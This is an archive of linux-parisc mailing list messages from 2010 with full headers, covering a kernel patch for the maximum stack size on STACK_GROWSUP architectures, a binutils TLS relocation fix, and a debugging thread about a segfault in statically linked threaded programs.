         4NwCwX0AvS1eiAQzUve4RJhpWZVBqnPhDF0xA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Uqi6YuKKUeVbF9DWVvFQHVohYX+aKu8BXmWIX0t3O2SX9YGp6zqWC6IORBpOd89WGK
         qc1PALPvcxsLH6KFYAwQnQSmHgv7LUrPJ/QqY59sjfdrv0ye62+G+5ZUbTcPciBc/a+F
         E26q63+vR4+tQ8fjoDPOYpk2h1FeLoK44ouU0=
Original-Received: by 10.204.23.20 with SMTP id p20mr3703135bkb.54.1263847784290; Mon, 
	18 Jan 2010 12:49:44 -0800 (PST)
In-Reply-To: <20100118204459.B95514EF1@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: ae25097033427987
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2583>

On Mon, Jan 18, 2010 at 3:44 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Actually I did tested this with the minifail test program, and chang=
ed
>> thread_run() to call _exit(0) at the end instead of "return 0":
>> void* thread_run(void* arg) {
>> =A0 =A0 =A0 ...
>> /* =A0 =A0return (void *)&status; =A0*/
>> =A0 =A0 =A0 =A0 =A0_exit(0);
>> }
>> With strace I then suddenly got exit_group() which seems more correc=
t:
>> [pid =A01910] write(1, "Thread OK.\n", 11) =3D 11
>> [pid =A01910] exit_group(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =3D ?
>
> The child of the fork should exit using _exit(0). =A0Otherwise, it me=
sses
> with the file descriptors of the parent.

Thanks for verifying this. I'm looking into this.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Newton <will.newton@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] exec: Use a define for maximum process stack size in 
	STACK_GROWSUP case.
Date: Fri, 22 Jan 2010 13:57:58 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <87a5b0801001220557s3a62742n369741a5d0e3ef94@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=00032555a3420b4f6e047dc13560
X-Trace: ger.gmane.org 1264168701 11944 80.91.229.12 (22 Jan 2010 13:58:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Jan 2010 13:58:21 +0000 (UTC)
To: Linux Kernel list <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 22 14:58:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NYK1U-0000UU-Nl
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Jan 2010 14:58:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751575Ab0AVN6D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Jan 2010 08:58:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752144Ab0AVN6B
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Jan 2010 08:58:01 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:46866 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751575Ab0AVN6A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Jan 2010 08:58:00 -0500
Original-Received: by bwz27 with SMTP id 27so1077163bwz.21
        for <multiple recipients>; Fri, 22 Jan 2010 05:57:59 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type;
        bh=K79RzCp7+iLBuaY7eG7neAmT/9QO5M51jafAIT/LRyI=;
        b=Z5W9wvHhM8DxjxktOfumM+/A5unLGaMCwUwtYNXSnUmi2HUHkyrcHMX3YleqLB1E6P
         KK3rU85LAwDz+fXUIknMQ6LGV+DY8LnbbumqnkeZm1300JAM5EtH+A+qYJ+Uy328fZ5/
         D9jPEPOoVkFI1Bg+L+fkFLQi3RKnhl25P8t6c=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type;
        b=S+W99BfBPL/aceFxAKirG+u0qw0we022glAoE8NH0O8vWgWp9KU8vWPLo8HvblOlxJ
         pro8Jam1lWI0EipRbjfkXiGJUXw2+wJl0F49C4Bvmgima/SwIUvtVpyXZhnmGc1J6YmK
         eDdEzUDNlRuJNJ5ceESRUbXKEsUstYtX0VZqY=
Original-Received: by 10.204.10.149 with SMTP id p21mr1646870bkp.3.1264168678936; Fri, 
	22 Jan 2010 05:57:58 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2584 gmane.linux.kernel:941454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2584>

--00032555a3420b4f6e047dc13560
Content-Type: text/plain; charset=ISO-8859-1

Create a new define for the maximum allowed process stack size for
STACK_GROWSUP architectures. This allows the value to be overridden in
architecture specific code where necessary.

Signed-off-by: Will Newton <will.newton@gmail.com>
---

The only in-tree architecture this affects is parisc. I don't have a
parisc box here to test with, but I have tested this change on an
out-of-tree Linux port with STACK_GROWSUP set.

 fs/exec.c |    9 ++++++---
 1 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/fs/exec.c b/fs/exec.c
index 632b02e..d37a626 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -573,10 +573,13 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long stack_base;

 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size to 1GB by default. */
+#ifndef STACK_MAX_SIZE
+#define STACK_MAX_SIZE (1 << 30)
+#endif
 	stack_base = current->signal->rlim[RLIMIT_STACK].rlim_max;
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_MAX_SIZE)
+		stack_base = STACK_MAX_SIZE;

 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
-- 
1.5.5.2

--00032555a3420b4f6e047dc13560
Content-Type: application/octet-stream; 
	name="0001-exec-Use-a-define-for-maximum-process-stack-size-in.patch"
Content-Disposition: attachment; 
	filename="0001-exec-Use-a-define-for-maximum-process-stack-size-in.patch"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g4r1aq4f0

RnJvbSBlYjQ0YTQ0MTg0ZTQyZWQyYWZiMGQxZTg5OGI2Y2IzZjY4M2JjY2NmIE1vbiBTZXAgMTcg
MDA6MDA6MDAgMjAwMQpGcm9tOiBXaWxsIE5ld3RvbiA8d2lsbC5uZXd0b25AZ21haWwuY29tPgpE
YXRlOiBGcmksIDIyIEphbiAyMDEwIDEzOjUxOjMxICswMDAwClN1YmplY3Q6IFtQQVRDSF0gZXhl
YzogVXNlIGEgZGVmaW5lIGZvciBtYXhpbXVtIHByb2Nlc3Mgc3RhY2sgc2l6ZSBpbiBTVEFDS19H
Uk9XU1VQIGNhc2UuCgpDcmVhdGUgYSBuZXcgZGVmaW5lIGZvciB0aGUgbWF4aW11bSBhbGxvd2Vk
IHByb2Nlc3Mgc3RhY2sgc2l6ZSBmb3IKU1RBQ0tfR1JPV1NVUCBhcmNoaXRlY3R1cmVzLiBUaGlz
IGFsbG93cyB0aGUgdmFsdWUgdG8gYmUgb3ZlcnJpZGRlbiBpbgphcmNoaXRlY3R1cmUgc3BlY2lm
aWMgY29kZSB3aGVyZSBuZWNlc3NhcnkuCgpTaWduZWQtb2ZmLWJ5OiBXaWxsIE5ld3RvbiA8d2ls
bC5uZXd0b25AZ21haWwuY29tPgotLS0KIGZzL2V4ZWMuYyB8ICAgIDkgKysrKysrLS0tCiAxIGZp
bGVzIGNoYW5nZWQsIDYgaW5zZXJ0aW9ucygrKSwgMyBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQg
YS9mcy9leGVjLmMgYi9mcy9leGVjLmMKaW5kZXggNjMyYjAyZS4uZDM3YTYyNiAxMDA2NDQKLS0t
IGEvZnMvZXhlYy5jCisrKyBiL2ZzL2V4ZWMuYwpAQCAtNTczLDEwICs1NzMsMTMgQEAgaW50IHNl
dHVwX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLAogCXVuc2lnbmVkIGxvbmcg
c3RhY2tfYmFzZTsKIAogI2lmZGVmIENPTkZJR19TVEFDS19HUk9XU1VQCi0JLyogTGltaXQgc3Rh
Y2sgc2l6ZSB0byAxR0IgKi8KKwkvKiBMaW1pdCBzdGFjayBzaXplIHRvIDFHQiBieSBkZWZhdWx0
LiAqLworI2lmbmRlZiBTVEFDS19NQVhfU0laRQorI2RlZmluZSBTVEFDS19NQVhfU0laRSAoMSA8
PCAzMCkKKyNlbmRpZgogCXN0YWNrX2Jhc2UgPSBjdXJyZW50LT5zaWduYWwtPnJsaW1bUkxJTUlU
X1NUQUNLXS5ybGltX21heDsKLQlpZiAoc3RhY2tfYmFzZSA+ICgxIDw8IDMwKSkKLQkJc3RhY2tf
YmFzZSA9IDEgPDwgMzA7CisJaWYgKHN0YWNrX2Jhc2UgPiBTVEFDS19NQVhfU0laRSkKKwkJc3Rh
Y2tfYmFzZSA9IFNUQUNLX01BWF9TSVpFOwogCiAJLyogTWFrZSBzdXJlIHdlIGRpZG4ndCBsZXQg
dGhlIGFyZ3VtZW50IGFycmF5IGdyb3cgdG9vIGxhcmdlLiAqLwogCWlmICh2bWEtPnZtX2VuZCAt
IHZtYS0+dm1fc3RhcnQgPiBzdGFja19iYXNlKQotLSAKMS41LjUuMgoK
--00032555a3420b4f6e047dc13560--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Segmentation fault in __libc_start_main with -static
Date: Wed, 27 Jan 2010 12:06:24 -0500 (EST)
Lines: 105
Approved: news@gmane.org
Message-ID: <20100127170625.0E6F54EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264612005 1227 80.91.229.12 (27 Jan 2010 17:06:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Jan 2010 17:06:45 +0000 (UTC)
Cc: carlos@systemhalted.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 27 18:06:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NaBLY-0005ep-0G
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Jan 2010 18:06:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754286Ab0A0RG1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Jan 2010 12:06:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753027Ab0A0RG1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Jan 2010 12:06:27 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2352 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754286Ab0A0RG0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Jan 2010 12:06:26 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0E6F54EA9; Wed, 27 Jan 2010 12:06:24 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2585
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2585>

In trying to debug a new gcc testsuite failure, I tried to link the
application with -static to simplify debugging.  It turns out we have
a couple of problems in linking threaded applications with -static.

The first problem is the linker does change r19 to dp for various TLS
relocations using the global pointer.  I've attached a patch below
to which I think fixes this problem.

The second issue is the handling of the symbol __nptl_threads.
We get a segmentation fault at startup here:

0x000223bc <__libc_start_main+600>:     addil L%0,r0,r1
0x000223c0 <__libc_start_main+604>:     ldo 0(r1),r3
0x000223c4 <__libc_start_main+608>:     ldw 0(r3),rp

The relocations are:

00000258 R_PARISC_DPREL21L  __nptl_nthreads
0000025c R_PARISC_DPREL14R  __nptl_nthreads

The original code:

 258:   2b 60 00 00     addil L%0,dp,r1
 25c:   34 23 00 00     ldo 0(r1),r3
 260:   0c 60 10 82     ldw 0(r3),rp

__nptl_nthreads is undefined weak:

         w __nptl_nthreads

The original code gets munged in elf32-hppa.c:

    /* For all the DP relative relocations, we need to examine the symbol's
       section.  If it has no section or if it's a code section, then
       "data pointer relative" makes no sense.  In that case we don't
       adjust the "value", and for 21 bit addil instructions, we change the
       source addend register from %dp to %r0.  This situation commonly
       arises for undefined weak symbols and when a variable's "constness"
       is declared differently from the way the variable is defined.  For
       instance: "extern int foo" with foo defined as "const int foo".  */
      if (sym_sec == NULL || (sym_sec->flags & SEC_CODE) != 0)
	{
	  if ((insn & ((0x3f << 26) | (0x1f << 21)))
	      == (((int) OP_ADDIL << 26) | (27 << 21)))
	    {
	      insn &= ~ (0x1f << 21);
	    }
	  /* Now try to make things easy for the dynamic linker.  */

	  break;
        }

We either need to define __nptl_nthreads or check if its address is
NULL.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.169
diff -u -3 -p -r1.169 elf32-hppa.c
--- elf32-hppa.c	8 Nov 2009 20:47:24 -0000	1.169
+++ elf32-hppa.c	26 Jan 2010 02:52:02 -0000
@@ -3388,12 +3388,19 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DPREL21L:
     case R_PARISC_DPREL14R:
     case R_PARISC_DPREL14F:
+    case R_PARISC_TLS_GD21L:
+    case R_PARISC_TLS_LDM21L:
+    case R_PARISC_TLS_IE21L:
       /* Convert instructions that use the linkage table pointer (r19) to
 	 instructions that use the global data pointer (dp).  This is the
 	 most efficient way of using PIC code in an incomplete executable,
 	 but the user must follow the standard runtime conventions for
 	 accessing data for this to work.  */
-      if (orig_r_type == R_PARISC_DLTIND21L)
+      if (orig_r_type == R_PARISC_DLTIND21L
+	  || (!info->shared
+	      && (r_type == R_PARISC_TLS_GD21L
+		  || r_type == R_PARISC_TLS_LDM21L
+		  || r_type == R_PARISC_TLS_IE21L)))
 	{
 	  /* Convert addil instructions if the original reloc was a
 	     DLTIND21L.  GCC sometimes uses a register other than r19 for
@@ -3444,11 +3451,8 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DLTIND21L:
     case R_PARISC_DLTIND14R:
     case R_PARISC_DLTIND14F:
-    case R_PARISC_TLS_GD21L:
     case R_PARISC_TLS_GD14R:
-    case R_PARISC_TLS_LDM21L:
     case R_PARISC_TLS_LDM14R:
-    case R_PARISC_TLS_IE21L:
     case R_PARISC_TLS_IE14R:
       value -= elf_gp (input_section->output_section->owner);
       break;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Fri, 29 Jan 2010 08:55:42 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <119aab441001290555k38c84cfdq2907d50e75f2c123@mail.gmail.com>
References: <20100127170625.0E6F54EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264773845 30329 80.91.229.12 (29 Jan 2010 14:04:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Jan 2010 14:04:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 29 15:04:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NarS3-00064M-Do
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jan 2010 15:03:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755231Ab0A2OD6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jan 2010 09:03:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755383Ab0A2OD6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 29 Jan 2010 09:03:58 -0500
Original-Received: from mail-ew0-f228.google.com ([209.85.219.228]:45104 "EHLO
	mail-ew0-f228.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755231Ab0A2OD5 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jan 2010 09:03:57 -0500
X-Greylist: delayed 494 seconds by postgrey-1.27 at vger.kernel.org; Fri, 29 Jan 2010 09:03:57 EST
Original-Received: by ewy28 with SMTP id 28so120466ewy.28
        for <linux-parisc@vger.kernel.org>; Fri, 29 Jan 2010 06:03:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=TCPA9pQ6ZFj0XxHHeIKB1zn4iO0kZya9Sa1Bs5gYLAs=;
        b=SBOQCookQISAgX401t3qlAXQ2NrIGUe+1eTnuxxFiTv1hv18Cyz30DVJHPjd7nUeQ3
         y8iI4z31VwSbelbRH5bj39vtKgx2Gy+B00KmCqeDbeiMjf4ntuoEmFKMh/p8Nv+9bwyc
         Ls7eXeeCdyd0piw+B5/KJByR/onAAEoc5WIu4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=k0zS++f2LH6f/m8r/q+u/ugImwHvR4AhqkAbTNP4o4xi5KXP4JMhxbXmZ60Lmf9Q+/
         KT/CTayPW33MG5V9F8kfP3hZf2uKNmtnP1fvcgDK/ly7k+w9eqIU2LcmxDLDjAQMO4Yy
         53RzujSlH9IlPsojKTZQN0kr91XlnsO+hc/hI=
Original-Received: by 10.216.86.212 with SMTP id w62mr432155wee.131.1264773342266; Fri, 
	29 Jan 2010 05:55:42 -0800 (PST)
In-Reply-To: <20100127170625.0E6F54EA9@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 757a04df56ed8621
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2586>

On Wed, Jan 27, 2010 at 12:06 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> In trying to debug a new gcc testsuite failure, I tried to link the
> application with -static to simplify debugging. =A0It turns out we ha=
ve
> a couple of problems in linking threaded applications with -static.

Thanks for looking into this.

> The first problem is the linker does change r19 to dp for various TLS
> relocations using the global pointer. =A0I've attached a patch below
> to which I think fixes this problem.

OK.

> The second issue is the handling of the symbol __nptl_threads.
> We get a segmentation fault at startup here:
>
> 0x000223bc <__libc_start_main+600>: =A0 =A0 addil L%0,r0,r1
> 0x000223c0 <__libc_start_main+604>: =A0 =A0 ldo 0(r1),r3
> 0x000223c4 <__libc_start_main+608>: =A0 =A0 ldw 0(r3),rp
>
> The relocations are:
>
> 00000258 R_PARISC_DPREL21L =A0__nptl_nthreads
> 0000025c R_PARISC_DPREL14R =A0__nptl_nthreads
>
> The original code:
>
> =A0258: =A0 2b 60 00 00 =A0 =A0 addil L%0,dp,r1
> =A025c: =A0 34 23 00 00 =A0 =A0 ldo 0(r1),r3
> =A0260: =A0 0c 60 10 82 =A0 =A0 ldw 0(r3),rp
>
> __nptl_nthreads is undefined weak:
>
> =A0 =A0 =A0 =A0 w __nptl_nthreads

The symbol is defined in libpthread.so, specifically by
nptl/pthread_create.c "unsigned int __nptl_nthreads =3D 1;"

Application link map shows:
 .data          0x000a1648       0x14
/usr/lib/gcc/hppa-linux-gnu/4.3.4/../../../libpthread.a(pthread_create.=
o)
                0x000a1648                __nptl_nthreads

I don't see any segmentation fault, nor do I see an undefined weak
__nptl_nthreads:

  1600: 000a1648     4 OBJECT  GLOBAL DEFAULT   21 __nptl_nthreads

You need to provide me with more data about how the application is
built, it looks like your link might be incorrect.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Fri, 29 Jan 2010 09:54:38 -0500
Organization: nrc.ca
Lines: 88
Approved: news@gmane.org
Message-ID: <20100129145437.GA7819@hiauly1.hia.nrc.ca>
References: <20100127170625.0E6F54EA9@hiauly1.hia.nrc.ca> <119aab441001290555k38c84cfdq2907d50e75f2c123@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264776885 9910 80.91.229.12 (29 Jan 2010 14:54:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Jan 2010 14:54:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 29 15:54:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NasF7-0005Yf-5M
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jan 2010 15:54:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755926Ab0A2Oyk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jan 2010 09:54:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755937Ab0A2Oyk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 29 Jan 2010 09:54:40 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2414 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755926Ab0A2Oyk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jan 2010 09:54:40 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B9F8F4E77; Fri, 29 Jan 2010 09:54:38 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab441001290555k38c84cfdq2907d50e75f2c123@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2587>

On Fri, 29 Jan 2010, Carlos O'Donell wrote:

> On Wed, Jan 27, 2010 at 12:06 PM, John David Anglin
> > The original code:
> >
> > =A0258: =A0 2b 60 00 00 =A0 =A0 addil L%0,dp,r1
> > =A025c: =A0 34 23 00 00 =A0 =A0 ldo 0(r1),r3
> > =A0260: =A0 0c 60 10 82 =A0 =A0 ldw 0(r3),rp
> >
> > __nptl_nthreads is undefined weak:
> >
> > =A0 =A0 =A0 =A0 w __nptl_nthreads
>=20
> The symbol is defined in libpthread.so, specifically by
> nptl/pthread_create.c "unsigned int __nptl_nthreads =3D 1;"
>=20
> Application link map shows:
>  .data          0x000a1648       0x14
> /usr/lib/gcc/hppa-linux-gnu/4.3.4/../../../libpthread.a(pthread_creat=
e.o)
>                 0x000a1648                __nptl_nthreads
>=20
> I don't see any segmentation fault, nor do I see an undefined weak
> __nptl_nthreads:

Think you missed that I said the application was being linked with
-static.  As a result, pthread_create.o won't be loaded from libpthread=
=2Ea
just to resolve __nptl_nthreads.

This is the application:

// This test only applies to glibc (NPTL) targets.
// { dg-do run { target *-*-linux* } }
// { dg-options "-pthread" }

#include <pthread.h>
#include <cxxabi.h>
extern "C" int printf (const char *, ...);

int main()
{
  try
    {
      pthread_exit (0);
    }
  catch (abi::__forced_unwind &)
    {
      printf ("caught forced unwind\n");
      throw;
    }
  catch (...)
    {
      printf ("caught ...\n");
      return 1;
    }
}

This is the gcc link command:

/home/dave/gnu/gcc/objdir/gcc/testsuite/g++/../../collect-ld -static -o=
 ./forced.xgs /usr/lib/crt1.o /usr/lib/crti.o /home/dave/gnu/gcc/objdir=
/gcc/testsuite/g++/../../crtbeginT.o -L/home/dave/gnu/gcc/objdir/hppa-l=
inux/./libstdc++-v3/src/.libs -L/home/dave/gnu/gcc/objdir/hppa-linux/./=
libstdc++-v3/src/.libs -L/home/dave/gnu/gcc/objdir/hppa-linux/./libiber=
ty -L/home/dave/gnu/gcc/objdir/gcc/testsuite/g++/../.. -L/home/dave/gnu=
/gcc/objdir/hppa-linux/./libstdc++-v3/src/.libs /tmp/ccmLwpAe.o -lstdc+=
+ -lm --start-group -lgcc -lgcc_eh -lpthread -lc --end-group /home/dave=
/gnu/gcc/objdir/gcc/testsuite/g++/../../crtend.o /usr/lib/crtn.o

Compile with:

g++ -o xx -static -pthread xx.C

Given what you said, the same fault would likely occur on x86.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Fri, 29 Jan 2010 11:08:16 -0500
Lines: 100
Approved: news@gmane.org
Message-ID: <119aab441001290808g51a80822m91ff468cc07fa0ed@mail.gmail.com>
